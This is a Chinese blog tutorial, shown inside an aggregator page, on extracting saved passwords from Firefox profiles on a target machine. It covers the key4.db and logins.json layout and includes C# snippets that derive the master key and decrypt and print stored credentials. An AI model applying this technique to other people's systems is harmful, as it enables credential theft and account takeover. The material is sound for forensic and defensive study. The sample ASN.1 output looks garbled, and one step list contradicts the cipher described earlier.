惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

C
CXSECURITY Database RSS Feed - CXSecurity.com
WordPress大学
WordPress大学
美团技术团队
Last Week in AI
Last Week in AI
Microsoft Azure Blog
Microsoft Azure Blog
D
DataBreaches.Net
Hugging Face - Blog
Hugging Face - Blog
腾讯CDC
B
Blog RSS Feed
J
Java Code Geeks
The GitHub Blog
The GitHub Blog
人人都是产品经理
人人都是产品经理
Recorded Future
Recorded Future
The Register - Security
The Register - Security
博客园 - 三生石上(FineUI控件)
Recent Announcements
Recent Announcements
Recent Commits to openclaw:main
Recent Commits to openclaw:main
V
Vulnerabilities – Threatpost
C
Cybersecurity and Infrastructure Security Agency CISA
T
The Exploit Database - CXSecurity.com
博客园 - 【当耐特】
C
Check Point Blog
酷 壳 – CoolShell
酷 壳 – CoolShell
Simon Willison's Weblog
Simon Willison's Weblog
T
Troy Hunt's Blog
P
Privacy International News Feed
S
Security Affairs
The Cloudflare Blog
P
Proofpoint News Feed
G
GRAHAM CLULEY
Engineering at Meta
Engineering at Meta
A
Arctic Wolf
博客园_首页
Blog — PlanetScale
Blog — PlanetScale
D
Docker
S
SegmentFault 最新的问题
N
News | PayPal Newsroom
Cyberwarzone
Cyberwarzone
H
Help Net Security
T
Threatpost
A
About on SuperTechFans
L
LINUX DO - 热门话题
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
N
News and Events Feed by Topic
Attack and Defense Labs
Attack and Defense Labs
M
MIT News - Artificial intelligence
Schneier on Security
Schneier on Security
月光博客
月光博客
F
Fortinet All Blogs
L
Lohrmann on Cybersecurity

运维开发绿皮书

OBS虚拟摄像头重命名 Ubuntu备份为LiveOS 使用Powershell卸载windows默认程序 Cisco路由器OSPF配置 汽车的分类和特点 Windows11跳过TPM2.0 HTTPS 双向认证与 USB 加密锁配置实战 SSL 证书工具 字数统计 BMI 计算 颜色转换 Hash 生成器 JSON 格式化 JWT 解码 房贷计算 时间戳转换 URL 编码 UUID 生成 牛马时钟 二维码批量生成器 CKS Simulator Kubernetes 1.25 FRP TOTP验证码生成器 direct-ssh-passthrough-nat 脚本使用说明 Python软件授权 Linux命令行百度网盘 为 Containerd 配置 Harbor 无证书镜像站 Docker一键部署Meta和MetacubexD面板 必应搜索屏蔽垃圾网站 VMware的ubuntu完整安装vm-tools支持粘贴板 Docker Desktop 安装到其他位置 Dell EMC PowerEdge R740服务器内存插槽使用说明及正确安装方法 tc常用命令总结 OpenStack排错 稳定币监管与投资指南 VMware ESXi 密码恢复指南 VMware 加密 state.tgz 文件解密教程 六百万数据 MySQL count(*) 优化 使用iptables禁止特定子网访问指定端口 解决 iptables DNAT 无法转发到 127.0.0.1 的问题及安全风险分析 Linux 一键测试脚本 Gitlab配置详解 Gitlab批量创建用户 Ubuntu安装VNC教程 Windows11跳过微软账号登录 vue配置Nginx伪静态 Linux下Ollama开放端口 模型详解配置 修改Git提交历史中的作者信息 在PowerShell中启动Git Bash的方法 一键安装OpenVPN 大语言模型 模型架构-Transformer模型 训练相关资料 GPT&DeepSeek模型 大模型技术基础 Git Bash 中一键安装 pacman Gitlab-Runner的一些问题 Docker运行kwaivgi-liveportrait 在x86-64上构建和运行多种架构的Docker容器 flutter配置镜像站 VMware最新下载地址(纪念碑) 一键安装Conda Docker老版本runc报错无法启动 清理Rancher节点 aapanel 7.x 中文语言配置指南 Ubuntu 22 安装 Kubernetes 1.29 集群指南 Ubuntu修复CNVD-2024-4920726 GRUB锁定密码 Grub2手动引导Linux Cron在线表达式生成器 GitLab一键设置镜像源 文本字符串倒序 Windows禁用任务管理器 UOS(1070a)服务器版本部署Kubernetes1.28 Windows11恢复Windows10右键菜单 Ubuntu一键设置镜像源 CentOS 7 一键设置Vault镜像 Base64在线编码解码 代码差异对比 为Docker分配物理网卡 解密CFSSL生成的CRL数据 已经在谷底了 怎么走都是向上 GitLab统计提交代码行数Python代码 Windows11的24H2出现扩展错误 Windows绕过MicroSoft Store直接下载应用 Fossy平台离线部署分析 在WSL中移除Windows环境变量 重装MicroSoft Store Sony Xperia 10 IV(pdx225)AOSP14编译和刷机方法 pnpm在DevContainer中存储出错解决方法 从SVN迁移仓库到Git Ubuntu中移除Snap软件包 使用Netcat检测UDP端口连通性 rke2集群命令行调试方法 Ubuntu隐私优化-关闭公共门户连接检查 Cisco路由器配置ipv4和ipv6的VTY账户密码 Python实现九九乘法表 Windows10中用多网卡链路聚合来解决网卡网速瓶颈 CentOS7 安装 OpenResty
Firefox密码提取
Paper-Dragon · 2025-04-17 · via 运维开发绿皮书

Firefox密码提取

Firefox浏览器密码保存在哪里呢,如何通过第三方工具进行解密,这是信息收集很重要的一个方向。如果能够下载到数据库,那么很容易就能得到target主机的大量用户名密码和对应网站。

文档参考了项目 https://github.com/lclevy/firepwd 其中有一些编码和陈旧的代码造成的bug,我进行了修改,bug修复版地址 https://github.com/Paper-Dragon/firepwd

大量资料来自: https://www.cnblogs.com/potatso/p/14875364.html

关键文件:

# C:\Users\admin\AppData\Roaming\Firefox\Profiles\<random text>.default\
Firefox 版本 <32 (key3.db, signons.sqlite)
Firefox 版本 >=32 (key3.db, logins.json)
Firefox 版本 >=58.0.2 (key4.db, logins.json)
Firefox 版本 >=75.0 (sha1 pbkdf2 sha256 aes256 cbc used by key4.db, logins.json)

Firefox密码的存储模式

Firefox存储密码的模式有两种,如果你在浏览器里面设置了Master Password,那么必须要有Master Password才能解密。

1916047-20210611154028601-1424490264

参考Firefox给出的密码加密解密流程图

https://github.com/lclevy/firepwd/blob/master/mozilla_pbe.svg

https://github.com/lclevy/firepwd/blob/master/mozilla_pbe.pdf

mozilla_pbe

登录信息存放位置

用户的Firefox各种配置文件存储在自己的Appdata\Roaming目录下:

C:\Users\admin\AppData\Roaming\Firefox\Profiles\<random text>.default\

不同版本的Firefox浏览器,存放登录信息文件和存放密钥文件也不同,其中用到的加密方式也有少许不同:

Firefox 版本 <32 (key3.db, signons.sqlite)
Firefox 版本 >=32 (key3.db, logins.json)
Firefox 版本 >=58.0.2 (key4.db, logins.json)
Firefox 版本 >=75.0 (sha1 pbkdf2 sha256 aes256 cbc used by key4.db, logins.json)

如果Firefox 版本 >=58.0.2 那么接下来需要找的两个文件路径分别是:

C:\Users\admin\AppData\Roaming\Firefox\Profiles\<random text>.default\key4.db
C:\Users\admin\AppData\Roaming\Firefox\Profiles\<random text>.default\logins.json

登录信息存储过程

以Firefox 版本 >=58.0.2为例,logins.json将用户所有登录信息(包括URL,用户名,密码和其他元数据)存储为JSON。值得注意的是,这些文件中的用户名和密码均经过3DES加密,然后经过ASN.1编码,最后写入base64编码的文件中,用一个测试登录信息如下所示,其中encryptedUsername和encryptedPassword就是被加密的用户名和密码:

{
    "nextId": 2, 
    "logins": [
        {
            "id": 1, 
            "hostname": "http://192.168.18.1", 
            "httpRealm": null, 
            "formSubmitURL": "http://192.168.18.1", 
            "usernameField": "", 
            "passwordField": "Password", 
            "encryptedUsername": "MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECNTQR/CqIN2qBAjp5XcZcmuibQ==", 
            "encryptedPassword": "MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECDUjhaRWzib+BBAUX/D1mTMqeccCSRJCkEbA", 
            "guid": "{b82c4d25-5fc6-47bc-8c31-b1bbeaff0807}", 
            "encType": 1, 
            "timeCreated": 1618124482800, 
            "timeLastUsed": 1618124482800, 
            "timePasswordChanged": 1618124482800, 
            "timesUsed": 1
        }
    ], 
    "potentiallyVulnerablePasswords": [ ], 
    "dismissedBreachAlertsByLoginGUID": { }, 
    "version": 3
}

key4.db是一个sqlite数据库,里面存储用于3DES解密logins.json的密钥,以及被加密的用于验证主密钥解密的password-check值,里面有两个表metaData和nssPrivate,

metaData中id为password的item1列为包含加密期间使用的全局盐值(globalSalt);item2列为ASN.1编码后的加密password-check数据,里面包含被加密的password-check字符串和用于加密的入口盐值(entrySalt)img

nssPrivate中 a11 列存放的是用于加解密的主密钥。 img

登录信息解密

Firefox 版本 >= 58.0.2 < 75

  1. 根据上述的描述,解密Firefox存储在本地的登录信息需要以下步骤:
  2. 找到当前计算机Firefox的profile目录,检查key4.dblogins.json文件是否存在。
  3. 如果存在,从key4.db中提取已编码+加密的password-check数据,先ASN1解码然后使用3DES解密被加密的password-check字符串(这样做是为了确认提取的密码是否正确)。
  4. key4.db中提取编码的+加密的主密钥 ,ASN.1解码,然后3DES解密主密钥。
  5. logins.json中读取加密的登录名和密码,ASN.1解码,然后3DES使用主密钥解密登录数据

Firefox 版本 >= 75

和Firefox 版本 >= 58.0.2 < 75不同的是,在加密password-check数据和主密钥使用了hmacWithSHA256的哈希算法和AES256 cbc的加密算法,所以解密步骤如下所示:

  1. 根据上述的描述,解密Firefox存储在本地的登录信息需要以下步骤:
  2. 找到当前计算机Firefox的profile目录,检查key4.dblogins.json文件是否存在。
  3. 如果存在,从key4.db中提取已编码+加密的password-check数据,先ASN1解码然后使用AES解密被加密的password-check字符串(这样做是为了确认提取的密码是否正确)。
  4. key4.db中提取编码的+加密的主密钥 ,ASN.1解码,然后3DES解密主密钥。
  5. logins.json中读取加密的登录名和密码,ASN.1解码,然后3DES使用主密钥解密登录数据

以Firefox 版本 >= 75为例,下面以项目部分代码为例讲下实现细节:

为了快速实现ASN1解码,AES和3DES的解密,使用了大佬们github的开源项目代码,链接放在最后的参考文章上,如果想深入了解ASN1的原理可以参考ASN.1 DER(可分辨编码规则)等文章,Firefox的ASN.1使用TLV(类型,长度,值)数据格式,数据仅使用少量的DER数据类型,这使得解码变得更加容易,TLV格式如下所示:

public enum Type
{
 Sequence = 0x30,
 Integer = 0x02,
 BitString = 0x03,
 OctetString = 0x04,
 Null = 0x05,
 ObjectIdentifier = 0x06
}

为了判断ASN1中ObjectIdentifier代表的加密方式,使用firepwd项目中提供的oid对应字典,具体编号对应参考http://oid-info.com/get/1.2.840.113549.2.9:

public static Dictionary<string, string> oidValues = new Dictionary<string, string>
{
 { "2A864886F70D010C050103","1.2.840.113549.1.12.5.1.3 pbeWithSha1AndTripleDES-CBC" },
 { "2A864886F70D0307","1.2.840.113549.3.7 des-ede3-cbc" },
 { "2A864886F70D010101","1.2.840.113549.1.1.1 pkcs-1" },
 { "2A864886F70D01050D","1.2.840.113549.1.5.13 pkcs5 pbes2" },
 { "2A864886F70D01050C","1.2.840.113549.1.5.12 pkcs5 PBKDF2" },
 { "2A864886F70D0209","1.2.840.113549.2.9 hmacWithSHA256" },
 { "60864801650304012A","2.16.840.1.101.3.4.1.42 aes256-CBC" }
};

解析出来的结果样例为:

SEQUENCE {
SEQUENCE {
SEQUENCE {
        OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2
SEQUENCE {
SEQUENCE {
        OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2
SEQUENCE {
        OCTETSTRING 947EB49963185BD83E2BD77C074A4A982832515E775AC7B23577F15401E905BD
        INTEGER 01
        INTEGER 20
SEQUENCE {
        OBJECTIDENTIFIER 1.2.840.113549.2.9 hmacWithSHA256
        OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
        OCTETSTRING 6C567DBF5EEC60AF7D2FB363035F
        OCTETSTRING 140D0C287323E3C1B404157C92973A17
        OCTETSTRING 140D0C287323E3C1B404157C92973A17
}
SEQUENCE {
}
        OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
        OCTETSTRING 6C567DBF5EEC60AF7D2FB363035F
        OCTETSTRING 140D0C287323E3C1B404157C92973A17
}
SEQUENCE {
}
        OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
        OCTETSTRING 6C567DBF5EEC60AF7D2FB363035F
        OCTETSTRING 140D0C287323E3C1B404157C92973A17
}
SEQUENCE {
}
        OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
        OCTETSTRING 6C567DBF5EEC60AF7D2FB363035F
        OCTETSTRING 140D0C287323E3C1B404157C92973A17
}
        OCTETSTRING 140D0C287323E3C1B404157C92973A17
}
        OCTETSTRING 140D0C287323E3C1B404157C92973A17
}
}

ASN.1解析器类将ASN.1编码的BLOB递归地解析为一个对象。每个对象都包含一个对象列表,这些Sequence对象代表处理编码的登录数据和主密钥的情况,通过oid得知加密方法后,从解析器里提取entrySalt,iterationCount,keyLength。之后先获取globalSalt的sha1加密值,和entrySalt一起做hmacWithSHA256加密来获取密钥,最后提取cipherT做AES解密,通过decryptPEB函数可以获取解密后的password-check字符串和主密钥,代码如下所示:

else if(pbeAlgo.Contains("1.2.840.113549.1.5.13"))
{
    byte[] entrySalt = asn.objects[0].objects[0].objects[1].objects[0].objects[1].objects[0].Data;
    int iterationCount = asn.objects[0].objects[0].objects[1].objects[0].objects[1].objects[1].Data[0];
    int keyLength = asn.objects[0].objects[0].objects[1].objects[0].objects[1].objects[2].Data[0];

    byte[] k = SHA1.Create().ComputeHash(globalSalt);
    var hmac = new HMACSHA256();
    var df = new Pbkdf2(hmac, k, entrySalt, iterationCount);
    byte[] key = df.GetBytes(32);
    Console.WriteLine(BitConverter.ToString(key));
    byte[] source = { 0x4, 0xe };
    byte[] iv = byteCpy(source, asn.objects[0].objects[0].objects[1].objects[2].objects[1].Data);
    Console.WriteLine(BitConverter.ToString(iv));
    byte[] cipherT = asn.objects[0].objects[1].Data;
    Console.WriteLine(BitConverter.ToString(cipherT));
    byte[] clearText = AESDecrypt(cipherT, key, iv);
    return clearText;
}

现在剩下的就是使用密钥和IV执行3DES解密登录信息了,读取logins.json文件

  1. 遍历中的每个Login对象JSONLogins
  2. ASN.1解码每个用户名和密码
  3. 3DES使用主密钥解密每个用户名和密码
  4. 输出hostname,username,password
FFLogins ffLoginData;
using (StreamReader sr = new StreamReader(userFireFoxloginPath))
{
    string json = sr.ReadToEnd();
    ffLoginData = JsonConvert.DeserializeObject<FFLogins>(json);
}

foreach (LoginData loginData in ffLoginData.logins)
{
    try
    {
        Asn1DerObject user = asn.Parse(Convert.FromBase64String(loginData.encryptedUsername));
        Asn1DerObject pwd = asn.Parse(Convert.FromBase64String(loginData.encryptedPassword));
        string hostname = loginData.hostname;
        string decryptedUser = TripleDESHelper.DESCBCDecryptor(privateKey, user.objects[0].objects[1].objects[1].Data, user.objects[0].objects[2].Data);
        string decryptedPwd = TripleDESHelper.DESCBCDecryptor(privateKey, pwd.objects[0].objects[1].objects[1].Data, pwd.objects[0].objects[2].Data);
        string username = Regex.Replace(decryptedUser, @"[^\u0020-\u007F]", "");
        string password = Regex.Replace(decryptedPwd, @"[^\u0020-\u007F]", "");

        Console.WriteLine(hostname);
        Console.WriteLine(username);
        Console.WriteLine(password);
        Console.WriteLine("");
    }
    catch(Exception e)
    {
        Console.WriteLine(e);
    }
}

最终结果如下图所示:

img

更新日志

  • 3eb2c-fixed code high light format
  • ee40c-Firefox密码提取